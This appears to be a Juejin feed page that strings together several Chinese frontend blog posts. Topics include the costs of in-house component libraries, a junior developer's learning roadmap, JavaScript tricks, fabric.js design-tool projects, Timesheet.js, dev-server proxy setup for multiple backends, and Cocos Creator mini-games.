  getUserProfile(e) {
wx.getUserProfile({
desc: '用于完善会员资料',
success: (res) => {
this.setData({
userInfo: res.userInfo,
hasUserInfo: true
})
}
})
}

`


作者:西红柿炖前男友
来源:juejin.cn/post/7457926197163687970
收起阅读 »

慎重!小公司到底该不该自己封装组件库?

web
前端开发与组件库 注:全文所说的小公司特指:资源不足、技术能力不足的团队 在一些小公司的项目开发中,我们可能常常听到这样的想法: 我们公司的需求比较特殊,用现有的组件库不够灵活,不如自己封装一套! 现有的组件库样式不符合我们的产品需求,我们需要统一风格和...
继续阅读 »

前端开发与组件库



注:全文所说的小公司特指:资源不足、技术能力不足的团队



在一些小公司的项目开发中,我们可能常常听到这样的想法:



  • 我们公司的需求比较特殊,用现有的组件库不够灵活,不如自己封装一套!

  • 现有的组件库样式不符合我们的产品需求,我们需要统一风格和功能,不如自己开发一套组件库吧!


以前我会很天真的支持这样的想法,现在,我会给提出者一个大嘴巴子!看似高瞻远瞩,实则全是陷阱,甚至可能成为整个团队的噩梦。


一个loading组件引起的生产事故


我先讲一个我们公司因为组件库导致的财产损失生产事故!


之前,我们业务有实现过一个表格,由于接口非常快,我们并没有增加loading样式。



代码实现也非常简单:


<template>
<section class="table-section">
<m-table :columns="columns" :data-source="tableData">
</m-table>
</section>

</template>
<script setup>
const tableData = ref([]);
const columns = []

const getTableData = async () => {
// ...接口调用逻辑
queryManageList()
};

// 获取表格数据
getTableData();

onMounted(() => {
// 动态设置表头数据
columns = []
});

</script>


m-table是我们公司的内部表格组件,上面的代码在生产稳定运行。随着数据的增多,接口有些慢了,于是客户希望加个loading。



我们公司的Loading组件模仿自Elemnet Plus,api的调用也非常相似




参考文档,代码的更改也就非常容易


<template>
<section class="table-section">
<m-table :columns="columns" :data-source="tableData">
</m-table>
</section>

</template>
<script setup>
const tableData = ref([]);
const columns = []

const getTableData = async () => {
loadingInstance = Loading('.table-section');
// ...接口调用逻辑
await queryManageList()
loadingInstance.destroy
};

// 获取表格数据
getTableData();

onMounted(() => {
// 动态设置表头数据
columns = []
});

</script>


代码看着严丝合缝,十分完美,然而,部署生产后,发现columns直接没了!


经过线上排查,发现loadingInstance = Loading('.table-section')这段代码直接替换了section标签内部的所有dom元素,造成表格的vue实例出现异常,onMounted钩子根本没有执行!



反观Element PLUS,人家直接是在section标签下生成的遮罩层,就不会存在这个问题!



小公司开发的组件,由于开发者技术参差不齐,很容易出现线上问题啊!这种问题在我们的日常开发中非常常见,害人啊!


为什么小公司不要轻易封装组件库


通过上面的案例,可以看出:小公司的开发人员技术参差不齐,组件库的质量也就无法得到保证。当然,技术还不是主要原因,毕竟技术是可以提升的,但下面的几个问题才是真要命的!


资源不足:人力和时间的双重消耗


封装组件库并非单纯的开发任务,它需要大量的人力和时间投入。对小公司而言,团队往往规模有限,开发资源紧张。



  • 开发人员:为了封装一个组件库,原本负责业务开发的人员必须抽出精力进行组件封装工作,业务开发的进度被迫拖延。

  • 时间成本:开发一个组件库不仅仅是写几个按钮或者表单,还涉及到设计体系、文档编写、单元测试、性能优化和浏览器兼容性处理等,这是一项长期工程。


就拿我们公司举例,我们一遍要写业务代码,一遍要维护组件,非常消耗时间!



就这,公司还不断地给我们加任务,把我们当牛马,直接开启996



加班费没有我们就忍了,996一次不够,还梅开二度



业务开发都没时间,还维护组件库,这不是自己坑自己么? 小公司没钱没实力,再别开发组件库了,来来回回坑自己人!


维护成本高:一时造轮子,一世修轮子


自己封装组件库容易,但长期维护它却很困难。随着项目的迭代和需求的变化,组件库也需要不断更新和优化。



  • 需求增加: 业务需求多样化导致组件库功能膨胀,原本简单的组件变得复杂不堪。

  • Bug 修复: 自己封装的组件库缺乏大规模使用的验证,隐藏的 Bug 往往在上线后爆发,修复工作耗费大量时间。

  • 兼容性问题: 浏览器兼容、新技术支持(如 Vue 3、React 18)的适配工作更是让人头疼。


我们的组件库更新非常频繁,因为随着产品的迭代,要增加很多新功能。有时候,为了使用组件的新功能或者样式,我们不得不升级组件版本。然而,有一次升级后,组件库内部存在严重bug,导致我们原有的许多界面崩溃,造成了重大生产事故!



这种组件升级导致的页面问题时常发生,加了一个功能,导致一个隐藏bug,后续为了解决这个隐藏bug,又引入其他bug,最终一个小功能要发好几个组件版本才能解决。我已经无力吐槽,害人啊!


而且,由于组件的功能不完善,经常要花费非常多的沟通成本



技术负债:短期便利,长期拖累


自建组件库在开发初期可能感觉很“顺手”,但随着项目规模扩大,组件库的缺陷会逐渐显现,成为团队的技术负债。



  • 缺乏标准化: 自建组件库的规范不够完善,不同开发者在实现同一功能时可能写出风格完全不同的代码。

  • 文档不足: 由于时间和人力限制,自建组件库的文档往往不完善,后期新成员加入时难以上手。

  • 升级困难: 自建组件库的每次升级都可能影响到现有业务,增加维护和测试成本。


员工离职风险:组件库成孤岛


小公司人员流动较为频繁。


如果负责组件库开发的员工离职,组件库很可能会变成“孤岛”,无人维护,直接影响到项目的可持续性。


经济形式不好,我们公司近几年也裁了不少员,导致一些组件直接没人维护了,直接影响项目进度。


所以,资金、时间不充足,咱小厂还是别学大厂维护组件库了,要钱没钱,要时间没时间,来来会会坑的都是自己!


总结


封装组件库对小公司来说是一个高风险、高成本、低收益的选择。本人建议如下:



  1. 优先选择成熟的开源组件库: 如 Ant Design、Element Plus 等,它们功能完善且生态丰富,能够快速适配业务需求!

  2. 定制而非重造: 如果开源组件库无法完全满足需求,可以在其基础上进行二次封装(各位leader注意看,组件库基本都支持样式定制的!) ,而不是从零开始构建。

  3. 聚焦业务: 小公司开发团队的首要任务是满足业务需求,组件库的开发应该是锦上添花,而非拖慢进度的负担。


各位Leader注意,技术的最终目的是为业务服务!别为了凸显自己牛逼,强行开发维护一个组件库,最终只会害人害,搬起石头砸自己的脚!


小公司不要让组件库拖住脚步,把资源投入到更有价值的地方,才是发展的正确道路。



注:以上所有言论只针对公司的产品、项目而言!对于个人,你怎么玩都行,玩的越花越好,毕竟以后出去都是面试的资本!





啥也不是,散会!


作者:石小石Orz
来源:juejin.cn/post/7440850542585266227
收起阅读 »

写给我前端同事,从事一年多应该要怎么成长的路线

web
写给我前端同事,从事一年多前端应该要怎么成长的路线我知道在很多中大型公司,其实有好多领导前辈、以及师傅会给那些校招生,以及应届生规划一定的学习成长路线,可能还会有定期的大佬分享。有这么一个领路人、环境在其实成长是飞速的。我入职了一家新单位,这家单位的没有太多规...
继续阅读 »

写给我前端同事,从事一年多前端应该要怎么成长的路线

我知道在很多中大型公司,其实有好多领导前辈、以及师傅会给那些校招生,以及应届生规划一定的学习成长路线,可能还会有定期的大佬分享。有这么一个领路人、环境在其实成长是飞速的。

我入职了一家新单位,这家单位的没有太多规范,没有太多的组件封装积累,还会考核每周的代码量,我发现有些阶段代码量(测试阶段、需求阶段等)不够的时候大家都是往项目中塞没用的代码,还有些同学会复制公共组件的代码进自己的模块充代码,技术栈使用的是vue3 + js + ant-design-vue,一大部分人做的都是项目

苏洋同学(化名)工作了2年左右,换过2家公司,第一家是个小公司也是在写一些后台管理的功能,这是他的第二家公司入职这家公司也有一年左右时间了。他逻辑,工作态度都没问题,也算是个积极上进的零零后好青年。他当前项目中的代码开发没问题,项目中多是一些业务表单,工作流之类的东西,有用户权限控制。有的时候他会请教我一些问题我俩也就从问题聊了聊技术,并且我把我的博客分享给了他,他说他有空会看看学习下。

我跟他从我的博客文章中聊了下他可能需要怎么做来获得成长,当然现在这个环境下我不能跟他说你多学一点可能工资就会高一些,假如在3年前我一定会告诉他,你学完这些其实可以换个公司去试试一定会比你现在的要高一点。可能学习完假如被迫换工作(裁员)了,机会会大点吧

大佬请绕路,我可能给的建议并不是最好的,但是我觉得对他来说现阶段是最使用的

针对他的成长经历规划

他的js基础可能没那么好,像一些数据处理上是有些问题,那么我建议他:

  1. 重新学习下js针对数组,字符串等API,像字符串的cancat、includes、indexOf、lastIndexOf、endsWith、startsWith等等,像数组的forEach、map、filter、reduce、find、findIndex、some、every等等,他说他有些好像没有使用过。 学习了解用法,并且写一样的源码。例如:
'123'.endsWith('3'); // true

export const _endsWith = (source: string, target: string) => {
const len = target.length;
const substrValue = source.substr(source.length - len, len);

return substrValue === target;
};

_endsWith('123456', '56'); // true
  • 要有一定的理解,对深拷贝、浅拷贝有一定的理解。
  • 宏任务微任务以及事件执行的理解。
  • 防抖节流有一定的理解
  • this有一定的理解并写出applycallbind的实现。
  • 对类型判断instanceoftypeofObject.prototype.toString.call等方法有理解。
  • 对对象方法的使用Object.keys、Object.values、Object.entries、Object.assign等等
  1. 去看下lodash的源码,例如:throttle、debounce、cloneDeep、groupBy、get、difference等等一些常用的方法函数要会写源码,最好自己写一遍。
  2. 对正则表达式能对有一定的理解,并且写出一些常用的正则。
  3. CSS 中对主题适配能有一定的理解,例如使用 less 和 Scss变量做主题适配,以及使用2套样式,或者使用css全局变量做主题适配。能区分出这几种的不同点

如果能把js的以上都能掌握了,那么你的基础算是扎实的了,差的可能就是工作经验以及深入了解一些框架的源码了。

  1. 这个时候可以学习下代码规范了,其实vue的话可以看看element ui组件代码的规范,组件的设计以及源码具体。至少能实现message组件以及按钮组件
  2. 学习下设计模式,例如:单例模式策略模式代理模式发布订阅模式等等。
  3. 可以多看看怎么写防御式编程,让你的代码更加健壮(这也就是为啥项目中bug多的问题,代码写的还不够严谨)
  4. 可以去学习下TS,可能不用去特别做类型体操,基本的泛型能用,例如:ArrayRecordPartialPickOmitExcludeExtract等等。
  5. 如果你对vuereact想深入研究,可以对比着使用看看它们之前的差异,有自己的认识。
  6. webpack的配置,对打包优化有理解,对loader和plugin有理解,对打包工具有使用过。
  7. 了解下npm,对npm 发布等命令有一定的理解,并且尝试自己发布一个包。
  8. git提交规范有理解,并且使用。可以深入了解下git规范定义以及拦截。
  9. 对 nginx 有一定的了解,并且使用。因为现在好多项目都是多页应用了,nginx就显得很重要了。
  10. echarts 是图表库,可以学习下他的那些简单图表怎么使用canvas画出来的。

恭喜,假如你上面都能学会,我觉得你很了不起了,至少算是中级前端工程师

  1. 制定公司代码规范eslintgit 提交规范等等
  2. git CI制定工作流是很重要的,可以学习下。
  3. ...
  4. ...
  5. ...

结语

其实如果从事这个行业,可以把上面当作一个学习清单,然后按照顺序学习,这些都是必须且要学会的。然后把学习到的东西都记录下来。多总结,多思考,


作者:三原
来源:juejin.cn/post/7448899248475684899

收起阅读 »

看完前端各种风骚操作,我眼睛被亮瞎了!

web
一、实现一个快速评分组件 const getRate = rate => "★★★★★☆☆☆☆☆".slice(5 - rate, 10 - rate); console.log(getRate(0)); // ☆☆☆☆☆ console.log(get...
继续阅读 »

一、实现一个快速评分组件


const getRate = rate => "★★★★★☆☆☆☆☆".slice(5 - rate, 10 - rate);
console.log(getRate(0)); // ☆☆☆☆☆
console.log(getRate(1)); // ★☆☆☆☆
console.log(getRate(2)); // ★★☆☆☆
console.log(getRate(3)); // ★★★☆☆
console.log(getRate(4)); // ★★★★☆
console.log(getRate(5)); // ★★★★★

这个都不用多解释了,简直写的太妙了!


二、巧用位运算


用位运算可以实现很多功能,比如乘2、除2(或者2的倍数),向下取整这些计算操作,而且性能很高!


let num = 3.14159;
console.log(~~ num); // 向下取整,输出3
console.log(2 >> 1); // >>表示右移运算符,除2,输出1
console.log(2 << 1); // <<表示左3移运算符,乘2,输出4

并且,利用~符,即按位取反运算符(NOT operator),还可以和字符串的indeOf方法配合使用。


const str = 'acdafadfa'
if (~str.indexOf('ac')) {
console.log('包含')
}

其实原理很简单,举几个例子大家就明白了:



  • ~-1的结果是0

  • ~0的结果是-1

  • ~1的结果是-2~2的结果是-3


三、漂亮随机码


const str = Math.random().toString(36).substring(2, 10)
console.log(str); // 随机输出8位随机码

这个在要为每个用户生成一个随机码的时候特别好用,具体随机码多少位可以自己控制,如果要的随机码位数特别长,可以把这个函数多调用一次,然后把结果进行字符串拼接。


四、史上最NB的报错处理


try {
const str = '';
str.map(); // Uncaught TypeError: str.map is not a function
} catch(e) {
window.open("https://stackoverflow.com/search?q=js+" + e.message);
}

这应该是史上最NB的报错处理了,一般来说,抛出错误时应该打印日志并上报,这里直接带着报错信息给人家重定向到stackoverflow去了,顺便stackoverflow搜索了下这个报错,直接搜一波错误解决方案,而且这个网站是全英文的,顺便还能学一波英语,对于开发者来说,这简直太妙了!不过记得上线的时候,记得在跳转前加一个if(process.env.NODE_ENV === 'development'),不然上到线上一旦报错可就惨了!


五、倒序排序的简写


const arr = [1, 2, 3, 4, 5];
for (let i = arr.length - 1; i >= 0; i--) {
console.log(arr[i]);
}

可简写为:


const arr = [1, 2, 3, 4, 5];
for(let i = arr.length; i--;) {
console.log(arr[i]);
}

代码解释:


先来回顾下for循环的书写结构,即for (初始化表达式; 条件表达式; 递增表达式),初始化表达式只会执行一次,而条件表达式和递增表达式在每次循环时都会执行一次,而正好这个倒序循环的终止执行条件为i==0,所以就可以把条件表达式递增表达式合而为一了,主打的就是一个简洁。


六、在控制台输出一个键盘图形


console.log((_=>[..."`1234567890-=~~QWERTYUIOP[]\\~ASDFGHJKL;'~~ZXCVBNM,./~"].map(x=>(o+=`/${b='_'.repeat(w=x<y?2:' 667699'[x=["BS","TAB","CAPS","ENTER"][p++]||'SHIFT',p])}\\|`,m+=y+(x+'    ').slice(0,w)+y+y,n+=y+b+y+y,l+=' __'+b)[73]&&(k.push(l,m,n,o),l='',m=n=o=y),m=n=o=y='|',p=l=k=[])&&k.join`
`
)())

这段代码会在浏览器控制台中打印出一个键盘图形,不得不说写出这段代码的人真的太有才了!



以上就是我总结的一些前端代码的风骚操作,大家有没有更风骚的操作呢?欢迎大家留言分享!


作者:程序员小寒
来源:juejin.cn/post/7453414571563925542
收起阅读 »

没想到学会这个canvas库,竟能做这么多项目

web
大家好,我是一名前端工程师,也是开源图片编辑器vue-fabric-editor项目的作者,2024年5月从北京辞职,我便开始了自己的轻创业之路,接触了不同的客户和业务场景,回顾这半年,没想到学会fabric.js这个Canvas库,竟能做这么多项目。 如果你...
继续阅读 »

大家好,我是一名前端工程师,也是开源图片编辑器vue-fabric-editor项目的作者,2024年5月从北京辞职,我便开始了自己的轻创业之路,接触了不同的客户和业务场景,回顾这半年,没想到学会fabric.js这个Canvas库,竟能做这么多项目。


如果你打算学习一个Canvas库或者做图片设计、定制设计相关的工具,我建议你学习一下fabric.js 这个库,它非常强大,可以做出很多有意思的项目,希望我的项目经历能给你的技术选型做一些参考



1预览图.png


项目经历


从北京回老家邯郸后,我陆续做了很多项目,包括正件照设计、锦旗/铭牌定制工具、Shopify定制插件、批量生成图片、手机版图片设计工具、服装设计、电商工具等,这些项目都离不开fabric.js这个库。回顾这段经历,让我深刻体会到它的强大和广泛应用


图片设计


图片设计是我接触的第一个主要应用领域。项目最初源于一个小红书成语卡片设计工具的构想,随后逐步扩展到更广泛的设计场景,包括小红书封面、公众号头图、营销海报以及电商图片等多种自媒体内容制作。


这类应用的核心功能在于自定义画布尺寸和元素排版,得益于fabric.js的原生支持,实现起来相对简单。我们主要工作是开发直观的属性编辑面板,使用户能够便捷地调整所选元素的文字和图片属性。


当然如果做的完善一些,还需要历史记录标尺辅助线对齐快捷键等,这些功能fabric.js并没有包含,需要我们自己实现,这些功能可以参考vue-fabric-editor 项目,它已经实现了这些功能。


还有很多细节的功能,比如组合保存、字体特效、图层拖拽、图片滤镜等,这些功能我们做的比较完善了。


2 功能展示.gif


定制设计工具


图片设计的场景相对通用,没有太多定制化的需求。而定制类的设计工具则需要针对特定场景深度开发,比如正件照、锦旗/铭牌设计、相册设计等,每个场景有不同的定制功能


正件照设计工具的核心在于自动化的处理。主要工作量集中在尺寸的匹配,确保图片能自动调整到最佳大小。同时,需要提供人物图片的裁剪功能,让用户能便捷地进行换装、切换正件尺寸、更换背景等操作。


3.png


4.png


锦旗与铭牌设计则更注重文字内容的自动排版。系统需要根据用户输入的抬头、落款、赠言等内容,自动计算最优的文字间距和整体布局,确保作品的美观性。特别是铭牌设计,还需要实现曲线文字功能,让文字能够优雅地沿着弧形排布。


6.jpeg


5.jpeg


相册设计工具的重点是提供灵活的画布裁剪功能。用户可以使用各种预设的形状模板来裁剪图片,需要确保裁剪后的图片既美观又协调,最终生成精美的画册作品,交互上方便用户拖拽图片快速放入裁剪区域。


7相册功能.gif


电商工具


电商场景比图片设计更垂直,除了普通的平面设计,例如店铺装修、商品主图、详情图的设计,另外还需要对商品进行换尺寸、抠图、换背景、去水印、涂抹消除、超清放大等操作,这些对图片处理的要求更高一些。


涂抹.gif


9.png


批量生成


批量算是一个比较刚需的功能,比如电商的主图,很多需要根据不同产品到图片和价格来批量加边框和文字,以及节庆价格折扣等,来生成商品主图,结合图片和表格可以快速生成,减少设计师的重复工作量。


12.png


另一部分是偏打印的场景,比如批量制作一些商品的二维码条形码,用在超市价签、电子价签、一物一码、服装标签等场景,根据数据表格来批量生成。


11.png


这种项目主要的工作量在交互上,如何将画布中的文字和图片元素与表格中的数据一一对应,并批量生成,另外会有一些细节,比如条形码的尺寸、图片的尺寸如何与画布中的尺寸比例进行匹配,这些细节需要我们自己实现。


上边的方式是通过表格来批量生成图片,还有一种是根据 API来批量生成图片,很多场景其实没有编辑页面,只希望能够通过一个 API,传入模板和数据,直接生成图片,fabric.js 支持在nodejs 中使用,我们要做的就是根据模板和数据拼接 JSON,然后通过fabric.js 在后端生成图片,然后返回给前端,性能很好,实际测试 2 核 2G 的机器,每张图片在 100ms 左右。


很多营销内容和知识卡片、证书、奖状也可以通过批量生成图片API来实现。


10.gif


当然,还有一些更复杂的场景,比如不同的数据匹配不同的模板,不同的组件展示不同的形式等,包括错别字检测、翻译等,我们也为客户做了很多定制化的匹配规则。


13.png


服装/商品定制


服装/商品定制是让用户在设计平台上上传图片,然后将图片贴图到对应的商品模板上,实现让用户快速预览设计效果的需求


这种场景一般会分为 2 类,一类是是针对 C 端用户,需要的是简单、直观,能够让用户上传一张图片,简单调整一下位置就能确认效果快速下单。


14.gif


我在这篇文章里做了详细介绍:《fabric.js 实现服装/商品定制预览效果》


另一类是针对小 B 端的用户,他们对设计细节有更高的要求,比如领子、口袋、袖子等,不同的位置进行不同的元素贴图,最后将这些元素组合成一个完整的服装效果图,最后需要生成预览图片,在电商平台售卖,完成设计后,还要将不同区域的图片进行存储,提供给生产厂家,厂家快速进行生产。


比如抱枕、手机壳、T恤、卫衣、帽子、鞋子、包包等,都可以通过类似服装设计的功能来实现。


15.gif


很多开发者会提出疑问,是否需要介入 3D 的开发呢?
我们也和很多客户沟通过,从业务的角度看,他回答是:3D 的运营成本太高。他们做的都是小商品,SKU 很多很杂,如果每上一个商品就要进行 3D 建模,周期长并且成本高,他们更希望的是通过 2D 的图片来实现,而且 2D 完全能够满足让用户快速预览确认效果的需求,所以 2D 的服装设计工具就成为了他们的首选。


包装设计


包装设计是让用户在设计平台上,上传自己的图片,然后将图片贴图都包装模板上,主要的场景是生成定制场景,比如纸箱、纸袋、纸盒、纸杯、纸质包装等,这些场景需要根据不同的尺寸、形状、材质、颜色等进行定制化设计,最后生成预览图片


16.png


因为设计到不同的形状和切面,而且大部分是大批量定制生产,所以对细节比较谨慎,另外包装规格相对比较固定,所有用3D模型来实现就比较符合


另外,在确定设计效果后,需要导出刀版图,提供给生产厂家,厂家根据刀版图进行生产,所以需要将设计图导出为刀版图,这个功能 fabric.js 也支持,可以导出为 SVG 格式直接生产使用。


17.gif


AI结合


在AI 大火的阶段,就不得不提 AI 的场景了,无论在自媒体内容、电商、商品、服装设计的场景,都有 AI 介入的影子,举个例子,通过 AI生成内容来批量生成营销内容图片,通过 AI 来对电商图片进行换背景和图片翻译,通过 AI 生成印花图案来制作服装,通过 AI 来生成纹理图来生成纸盒包装,太多太多的 AI 的应用场景,也是客户真金白银定制开发的功能


展望2025


从图片设计的场景来看,我们的产品已经很成熟了,也算是主力产品了,未来会持续迭代和优化,让体验更好,功能更强大,把细节做的更完善,例如支持打印、视频生成等功能。


从定制设计工具的场景来看,我们积累了不同商品定制设计的经验,从技术和产品到角度看,我们还可以抽象出更好的解决方案,让客户能够更高效、低成本的接入,提供给他们的客户使用,快速实现设计生产的打通。


2024 到 2025 ,从在家办公一个人轻创业,搬到了我们的办公室,期待未来越来创造更多价值。


18.png


总结


半年的时间,这些项目的需求fabric.js都帮我们实现了,所以如果你对Canvas感兴趣,我的亲身经历告诉你,学习fabric.js是一个不错的选择


另外,对我来说更重要的是,客户教会了我们很多业务知识,这些才是宝贵的业务知识和行业经验,一定要心存敬畏,保持空杯,只有这样我们才能做好在线设计工具解决方案。


这篇文章也算是我从 2024年离职出来到现在的一个年终总结了,希望我们踩过的坑和积累的经验都变成有价值的服务,作为基石在2025年服务更多客户,文章内容供大家一些参考,期待你的批评指正,一起成长,祝大家 2025年大展宏图。


给我们的开源项目一个Star吧:github.com/ikuaitu/vue… 😄。


作者:愚坤秦少卫
来源:juejin.cn/post/7459286862839054373
收起阅读 »

Timesheet.js - 轻松打造炫酷时间表

web
Timesheet.js - 轻松打造炫酷时间表 前言 在现代网页设计中,时间表是一个常见的元素,用于展示项目进度、历史事件、个人经历等信息。 然而,创建一个既美观又功能强大的时间表并非易事。 幸运的是,Timesheet.js 这款神奇的 JavaScri...
继续阅读 »

Timesheet.js - 轻松打造炫酷时间表


前言



在现代网页设计中,时间表是一个常见的元素,用于展示项目进度、历史事件、个人经历等信息。


然而,创建一个既美观又功能强大的时间表并非易事。


幸运的是,Timesheet.js 这款神奇的 JavaScript 开源时间表库为我们提供了一个简洁而强大的解决方案。


本文将详细介绍 Timesheet.js 的特点、使用方法,并通过一个真实的使用案例来展示其强大功能。


介绍


Timesheet.js 是一个轻量级的 JavaScript 库,专门用于创建基于 HTML5CSS3 的时间表。


它无需依赖任何外部框架,如 jQueryAngular.js,即可快速生成美观的时间表布局。


Timesheet.js 的优势在于其简洁性和用户友好性,仅需几行 JavaScript 代码即可实现功能,同时提供了丰富的自定义选项,允许开发者根据需求进行样式调整。


核心特性


无依赖:不依赖任何外部 JavaScript 框架,减少了项目复杂性和加载时间。
易于使用:通过简单的 JavaScript 代码即可创建时间表,易于上手。
高度可定制:提供了丰富的 CSS 类,方便开发者自定义时间表的外观。
响应式设计:支持移动设备,确保在不同屏幕尺寸上都能良好显示。


官方资源


官网:sbstjn.github.io/timesheet.j…


GitHub 仓库:github.com/sbstjn/time…


使用案例


假设我们要为一个在线教育平台创建一个展示学生学习历程的时间表。


这个时间表将展示学生从入学到毕业的各个阶段,包括参加的课程、获得的证书等信息。


步骤 1:引入库文件


首先,在 HTML 文件中引入 Timesheet.jsCSSJavaScript 文件。


<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/timesheet.js/dist/timesheet.min.css" />
<div id="student-timeline">div>
<script src="https://cdn.jsdelivr.net/npm/timesheet.js/dist/timesheet.min.js">script>

步骤 2:准备数据


接下来,准备时间表所需的数据。


在这个案例中,我们将展示一个学生从 2018 年入学到 2022 年毕业的学习历程。


const studentTimelineData = [
['09/2018', '06/2019', '入学 & 基础课程学习', 'default'],
['09/2019', '06/2020', '专业课程学习', 'ipsum'],
['07/2020', '01/2021', '暑期实习', 'dolor'],
['09/2020', '06/2021', '高级课程学习', 'lorem'],
['07/2021', '01/2022', '毕业设计', 'default'],
['06/2022', '09/2022', '毕业 & 就业', 'ipsum']
];

步骤 3:初始化 Timesheet.js


最后,使用 Timesheet.js 初始化时间表,并传入准备好的数据。




完整代码


将上述代码整合到一个 HTML 文件中,即可创建出一个展示学生学习历程的时间表。


html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>学生学习历程时间表title>
<link rel="stylesheet" href="./timesheet.js/dist/timesheet.min.css" />
head>
<body>
<div id="student-timeline">div>
<script src="./timesheet.js/dist/timesheet.min.js">script>
<script>
const studentTimelineData = [
[
'09/2018', '06/2019', '入学 & 基础课程学习', 'default'],
[
'09/2019', '06/2020', '专业课程学习', 'ipsum'],
[
'07/2020', '01/2021', '暑期实习', 'dolor'],
[
'09/2020', '06/2021', '高级课程学习', 'lorem'],
[
'07/2021', '01/2022', '毕业设计', 'default'],
[
'06/2022', '09/2022', '毕业 & 就业', 'ipsum']
];
const timesheet = new Timesheet('student-timeline', 2018, 2022, studentTimelineData);
script>
body>
html>

效果如下



总结


Timesheet.js 是一个非常实用的 JavaScript 时间表库,它以简洁的代码和强大的功能为开发者提供了一个创建时间表的便捷工具。


通过本文的介绍和使用案例,相信你已经对 Timesheet.js 有了基础的了解。


无论是在个人项目还是企业应用中,Timesheet.js 都能帮助你快速创建出美观且功能强大的时间表,提升用户体验。


如果你对 Timesheet.js 感兴趣,不妨尝试在自己的项目中使用它,探索更多可能。


作者:我码玄黄
来源:juejin.cn/post/7461233603431890980
收起阅读 »

前端同时联调多个后端

web
前言 最近公司项目有时需要和多个后端同时对接(😔小公司一对N),于是对公司项目基础配置文件做了些修改,最终达到能对于多个后端同时启动多个前端服务,而不是每次都需要和A同学对接完,代理地址再换成B同学然后重新启动项目 个人经验0.5年,菜鸡前端一枚,第一次写文章...
继续阅读 »

前言


最近公司项目有时需要和多个后端同时对接(😔小公司一对N),于是对公司项目基础配置文件做了些修改,最终达到能对于多个后端同时启动多个前端服务,而不是每次都需要和A同学对接完,代理地址再换成B同学然后重新启动项目


个人经验0.5年,菜鸡前端一枚,第一次写文章,只是对个人工作简要记录😂!!!


公司项目有vue脚手架搭建的也有vite搭建的,下面让我们分两种方式来修改配置文件


vue-cli方式【webpack】


1. 个人习惯把proxy单独抽离出来放到.env.development


# 启动端口号
VUE_PORT = 8000

# 代理配置
# A同学
VUE_PROXY_A = [["/api","http://localhost:3001"]]

# B同学
VUE_PROXY_B = [["/api","http://localhost:3002"]]

2. 使用cross-env来加载不同的代理


npm i -D cross-env

重新编写下script


image.png


3. 读取环境变量


vueCli内部dotenv已经加载到process.env,我们再做一层包裹,之前配置的proxy,这种其实是字符串,需要处理


const { VUE_PROXY, VUE_PORT } = require("./constant.js")

// Read all environment variable configuration files to process.env
function wrapperEnv(envConf) {
const ret = {}
const SERVER_NAME = process.env.NODE_ENV_PROXY || VUE_PROXY

for (const envName of Object.keys(envConf)) {
if (!envName.startsWith('VUE')) {
continue
}
let realName = envConf[envName].replace(/\\n/g, '\n')
realName = realName === 'true' ? true : realName === 'false' ? false : realName

if (envName === VUE_PORT) {
realName = Number(realName)
}
if (envName === SERVER_NAME && realName) {
try {
realName = JSON.parse(realName.replace(/'/g, '"'))
} catch (error) {
realName = ''
}
}
ret[envName === SERVER_NAME ? VUE_PROXY : envName] = realName
if (typeof realName === 'string') {
process.env[envName] = realName
} else if (typeof realName === 'object') {
process.env[envName] = JSON.stringify(realName)
}
}
return ret
}

module.exports = {
wrapperEnv
}

这样我们就可以拿到所有的环境变量,并且proxy是数组,而不是字符串


4. 生成proxy


/**
* Used to parse the .env.development proxy configuration
*/


const httpsRE = /^https:\/\//

/**
* Generate proxy
* @param list
*/

function createProxy(list = []) {
const ret = {}
for (const [prefix, target] of list) {
const isHttps = httpsRE.test(target)

// https://webpack.docschina.org/configuration/dev-server/#devserverproxy
ret[prefix] = {
target: target,
changeOrigin: true,
ws: true,
pathRewrite: { [`^${prefix}`]: '' },
// https is require secure=false
...(isHttps ? { secure: false } : {}),
}
}
return ret
}

module.exports = {
createProxy,
}

5. 修改vue.config.js


const { defineConfig } = require('@vue/cli-service')
const { wrapperEnv } = require('build/vue/util')
const { createProxy } = require('./build/vue/proxy')

const {
VUE_PORT,
VUE_PROXY
} = wrapperEnv(process.env)

module.exports = defineConfig({
transpileDependencies: true,
// webpack-dev-server 相关配置
devServer: {
host: '0.0.0.0',
port: VUE_PORT,
open: false,
overlay: {
logging: 'info',
errors: true,
warnings: true
},
proxy: createProxy(VUE_PROXY),
disableHostCheck: true
},
})

6. 使用mock模拟两个后端服务


A同学使用3001端口
B同学使用3002端口


image.png


7. 测试是否达到效果


同样我们前端也起两个8000和8001


image.png


接下来看下8000端口请求


image.png
再看下8001请求


image.png


vite


结语


以上只写了webpack不过vite和这也差不多!!!


作者:向天卷飞机
来源:juejin.cn/post/7456266020379541531
收起阅读 »

原来微信小游戏用的技术就是web, 有想法的直接可以做

web
12月玩了2个微信小游戏, 发现都是在玩数值, 其实就是同一个游戏场景, 于是想自己写一个试试.然后看了微信小游戏文档, 推荐 cocos creator, 学了下发现 web 开发者那是根本不用学.自己写了2个demo, 于是分享给大家.cocos crea...
继续阅读 »

12月玩了2个微信小游戏, 发现都是在玩数值, 其实就是同一个游戏场景, 于是想自己写一个试试.

然后看了微信小游戏文档, 推荐 cocos creator, 学了下发现 web 开发者那是根本不用学.

自己写了2个demo, 于是分享给大家.

cocos creator

cocos creator 是个游戏引擎, 他推荐使用 vscode 和 chrome, 并且 ts 是唯一支持的脚本语言.

他的预览就是打开chrome的一个网页, 主体是个canvas, 这个场景下cc可能就是一系列资源的执行器.

重要的是他可以打包到微信小游戏, 也是微信小游戏推荐的框架.

也就是我可以用 ts 写小程序了.

其实也就是个 html5 的小游戏, 而 cc 包装了h5小游戏要手动写的requestAnimationFrame执行器, 提供了更方便的编辑器, 包装了一些游戏开发要用到的概念.

网页开发和游戏开发的区别

显然网页开发和游戏开发是不同的, 来稍作分析.

游戏元素

网页元素一般由div布局, 终端的节点一般是文字, 或者输入框.

游戏元素看起来容易一些, 因为没有输入. 手机小游戏只有通过点击来传达一些指令.

游戏元素也有布局, 但没网页 bfc, flex 这些复杂的东西, 全部绝对定位, 也有z轴.

再细看游戏元素, 其实每个元素就是个图片.

简单总结, 游戏的所有元素就是图片, 通过设置x, y, z的数值来定位. 比网页开发容易得多.

游戏交互

网页的功能主要是2个部分: 输入和展示.

所以网页的交互也就是改变参数后刷新列表.

我们来分析游戏的交互, 也分为2个部分: 改变位置与结算.

